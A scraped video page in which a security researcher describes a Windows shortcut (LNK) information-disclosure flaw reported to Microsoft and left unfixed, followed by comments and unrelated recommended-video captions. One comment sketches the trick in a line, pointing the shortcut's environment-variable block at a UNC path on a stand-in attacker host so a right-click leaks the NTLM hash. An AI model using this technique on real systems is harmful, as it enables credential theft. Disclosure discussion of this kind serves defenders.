Video wird geladen...

Video konnte nicht geladen werden

Beim Laden dieses Videos ist ein Problem aufgetreten. Dies könnte an einem vorübergehenden Netzwerkproblem liegen oder das Video ist möglicherweise nicht verfügbar.

A quick writeup on potential security issue of Windows LNK that I reported to MSRC last month. They decided to not fix due to relying on MOTW. In the blog I included the proof of concept. All you have to do is to Right-Click and get Info Disclosure :)

nafiez

2,208 subscribers

25,240 Aufrufe • vor 1 Jahr •via X (Twitter)

Wissenschaft & Technologie Nachrichten & Politik Bildung

Anya Rossi• Live Now

Private livecam show

11 Kommentare

Profilbild von sixtyvividtails

sixtyvividtailsvor 1 Jahr

Nice seeing actual dig into details of .LNK structure! tag/TLDR: lnk.header.flags |= HAS_EXP_STRING; 🤭 lnk.envarBlock := "\\evil_ip\gibe_hash" then right-click to sendout the ntlm hash

Profilbild von nafiez

nafiezvor 1 Jahr

Thanks 🫡

Profilbild von WAGMI | Crypto, DeFi & Web3 News

WAGMI | Crypto, DeFi & Web3 Newsvor 2 Jahren

"My friends think I'm a crypto genius, (I'm not) it's because I read WAGMI’s weekly newsletter (and they have no idea it exists)" - Every Crypto Degen

Profilbild von I am Jakoby

I am Jakobyvor 1 Jahr

I did something similar but I passed an http oob url and used it to collect their ip address, geolocation, and finger print info This is significantly more severe and I am honestly shocked they decided not to fix it

Profilbild von nafiez

nafiezvor 1 Jahr

That sounds awesome! Have you write or publish anything about the stuff you work on? Yeah too bad they didn’t treat this as security issue since MOTW did the protection, according to them :-)

Profilbild von ClearSky Cyber Security

ClearSky Cyber Securityvor 1 Jahr

Open since June 24

Profilbild von nafiez

nafiezvor 1 Jahr

The description looks similar however in your advisory seems to tie with CVE-2024-43451. How come this still not fix for the Right-Click? Any thoughts?

Profilbild von jcatblackhat

jcatblackhatvor 1 Jahr

TAG: PoC

Profilbild von Jean

Jeanvor 1 Jahr

What's the app you use for function tracing?

Profilbild von nafiez

nafiezvor 1 Jahr

I’m using Rohitab API Monitor

Profilbild von Bruno

Brunovor 1 Jahr

@BriPwn

Ähnliche Videos

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.

I invest in a lot of entrepreneurs that I don't like but I respect. I respect them and the only thing I care about is executional skills. The ability to say, "All right this is what I'm going to achieve this month" and then execute on it. When they hit their bumps which they all do, because whatever their plan was is not going to work, they have the ability to pivot. That what I look for.

Kevin O'Leary aka Mr. Wonderful

31,216 Aufrufe • vor 1 Jahr

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily

People continue to blame me, saying, 'You are the Aare Onakakanfo of Yoruba Land and you refused to do something on the issue of insecurity affecting us', Gani Adams says. He also noted: "I have written to South West governors that there is a need for collaboration on the issue of security; all hands must be on deck to address this ugly situation, but for the past two years, they did not reply me. [Gani Adams, Aare Onakakanfo of Yoruba Land] #SunriseDaily

Channels Television

137,915 Aufrufe • vor 1 Monat

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.

Last but not least bug of the year, 2025. Found a remote printer bug that allows remote arbitrary write file. This was reported to MSRC however they told us is not replicated on their side.

nafiez

21,360 Aufrufe • vor 6 Monaten

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English

"If they feel strongly enough that they have to break the law to get the message across, then I think that speaks to the larger issue that the government isn't listening to protestors and they have to resort to these types of means." My live reporting last night on Al Jazeera English

bencamach0.bsky.social

37,488 Aufrufe • vor 2 Jahren

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight

"One of ours .... all of yours" - that is the homeland security motto?! Do they want to fix or to fight

Christopher C. Cuomo

29,691 Aufrufe • vor 6 Monaten

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)

Drake and Future have reportedly squashed their beef 🙏 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included.” (via Elliott Wilson)

Complex Music

132,165 Aufrufe • vor 1 Jahr

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure

This is an open message to Ross Coulthart to contact me and please talk through why you believe that I should not reveal the location of a giant UFO which is in a building within a building underneath a very high security military facility You leaked this over two years ago but withheld the destination and there is definitely a chance I am wrong but the strength of the evidence I now have is enough that I am going to go public with my findings in three hours time I clearly do not want to threaten National USUKAus Security and it is your potential mess to clean up... I would like to talk it through with you, but more importantly I think it is in the interests of the public to know about the deception that holds back full Disclosure

Moneypenny

3,624,908 Aufrufe • vor 11 Monaten

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)

DRAKE & FUTURE HAVE REPORTEDLY SQUASHED THEIR BEEF 🚨 “All I can really say is, they got on the phone and whatever seems to be the issues, they seem to come to a place of resolving that. Metro not included” (Via Elliot Wilson)

NFR Podcast

4,460,808 Aufrufe • vor 1 Jahr

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.

BANNON: The illegal alien invasion of our country is our biggest national security issue ever! They do not want to assimilate. They do not believe in our values. THEY ALL HAVE TO GO. The Left will die on this hill because they know they need illegals to win elections.

Bannon’s WarRoom

26,779 Aufrufe • vor 6 Monaten

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."

Michael Jordan breaks down the absolute true mindset of a champion. "First of all you got to believe in yourself. You got to have a passion. You got to put forth the work." "Discipline means you have to really decide on that you want to be a winner. And when someone tries to take you to go do things that's not focused on being a winner you have to be disciplined to say you know what, I got to stay to what I have to do." "For people who skip those steps and think they just show up on Sunday, I don't want nothing to do with them."

ABDCHAIN

306,355 Aufrufe • vor 20 Tagen

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"

"I put a lot of it on me on the wins and losses and I need to do a better job. I'm not going to sit here and blame it on the roster, the coaching staff. I'm going to blame it on the guy that's sitting right in front of you. I need to do a better job"

New York Jets

118,046 Aufrufe • vor 6 Monaten

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.

It’s not just that the oligarchs don’t want to pay their fair share of taxes. Many of them literally do not believe in the concept of government. They are rich and powerful and have the “divine right” to do anything they want.

Sen. Bernie Sanders

179,195 Aufrufe • vor 1 Jahr

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."

.Chad Pergram: "Nothing's going to get done on health care now, right, this year?" .Leader John Thune "It’s a complicated issue, no doubt about it. A lot of moving parts and we have different visions of what health care ought to look like…You’re right, we’re not going to pass anything by the end of this week, but I do think there is a potential pathway in January if Democrats are willing to come to the table to do things that will actually drive down the cost of health care."

CSPAN

100,168 Aufrufe • vor 7 Monaten

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone

MacFarlane: The issue here is that they don't have the requisite support to do this, even in a vacuum, because they understand this is a generational decision to get rid of the filibuster, and they're not keen on doing that, not knowing what's going to happen over the next generation long after Trump is gone

Acyn

26,767 Aufrufe • vor 29 Tagen

.Secretary Sean Duffy to Jack Posobiec on the future of air traffic control: "I can't fix the weather for you, or I can't fix that you might have a mechanical issue with the airplane. But I can fix the congestion that happens in the airspace."

.Secretary Sean Duffy to Jack Posobiec on the future of air traffic control: "I can't fix the weather for you, or I can't fix that you might have a mechanical issue with the airplane. But I can fix the congestion that happens in the airspace."

Human Events

39,779 Aufrufe • vor 2 Monaten

Edwin Sifuna: The reason I will not resign yet is because I have not given up yet, I have not given up on members of the ODM. There is still belief and trust within the ranks of the party that Baba knows what is right for the people and that he will do the right thing. On the day that I give up, I will tell you, I will say it publicly that I have lost the battle to rescue this party and to bring it back to where it was #CitizenExplainer Yvonne Okwara

Edwin Sifuna: The reason I will not resign yet is because I have not given up yet, I have not given up on members of the ODM. There is still belief and trust within the ranks of the party that Baba knows what is right for the people and that he will do the right thing. On the day that I give up, I will tell you, I will say it publicly that I have lost the battle to rescue this party and to bring it back to where it was #CitizenExplainer Yvonne Okwara

Citizen TV Kenya

45,984 Aufrufe • vor 11 Monaten

Companies are going way too far to try and sell you products Just to buy 2 new windows, a company came out and said you have to - Do a 3 window minimum even through you only need 2 - Sit through a 90 minute presentation on the history of the company, the founder, their story - A presentation on windows, how windows work and why their windows are different - A pitch on the state of the economy and inflation - A horrible negotiation experience on the cost of the actual windows This is actually happening at a lot of places. A similar experience of mine was I literally went to get an oil change at Mountain View tires and they wanted me to come out to the car and go over a full vehicle diagnostic that they would first need to take over an hour doing. They said it was policy It’s all to upsell you. Even places like valvoline make you do a full vehicle inspection now so they can go over it with you and upsell you on repairs

Companies are going way too far to try and sell you products Just to buy 2 new windows, a company came out and said you have to - Do a 3 window minimum even through you only need 2 - Sit through a 90 minute presentation on the history of the company, the founder, their story - A presentation on windows, how windows work and why their windows are different - A pitch on the state of the economy and inflation - A horrible negotiation experience on the cost of the actual windows This is actually happening at a lot of places. A similar experience of mine was I literally went to get an oil change at Mountain View tires and they wanted me to come out to the car and go over a full vehicle diagnostic that they would first need to take over an hour doing. They said it was policy It’s all to upsell you. Even places like valvoline make you do a full vehicle inspection now so they can go over it with you and upsell you on repairs

Wall Street Apes

106,062 Aufrufe • vor 1 Monat

14/20: I want the game to have an easy to use level editor eventually. Last year I worked on this proof of concept that makes levels for the demo. You can try it out now and make some cool puzzles!

14/20: I want the game to have an easy to use level editor eventually. Last year I worked on this proof of concept that makes levels for the demo. You can try it out now and make some cool puzzles!

Poke ALL Toads

11,266 Aufrufe • vor 4 Monaten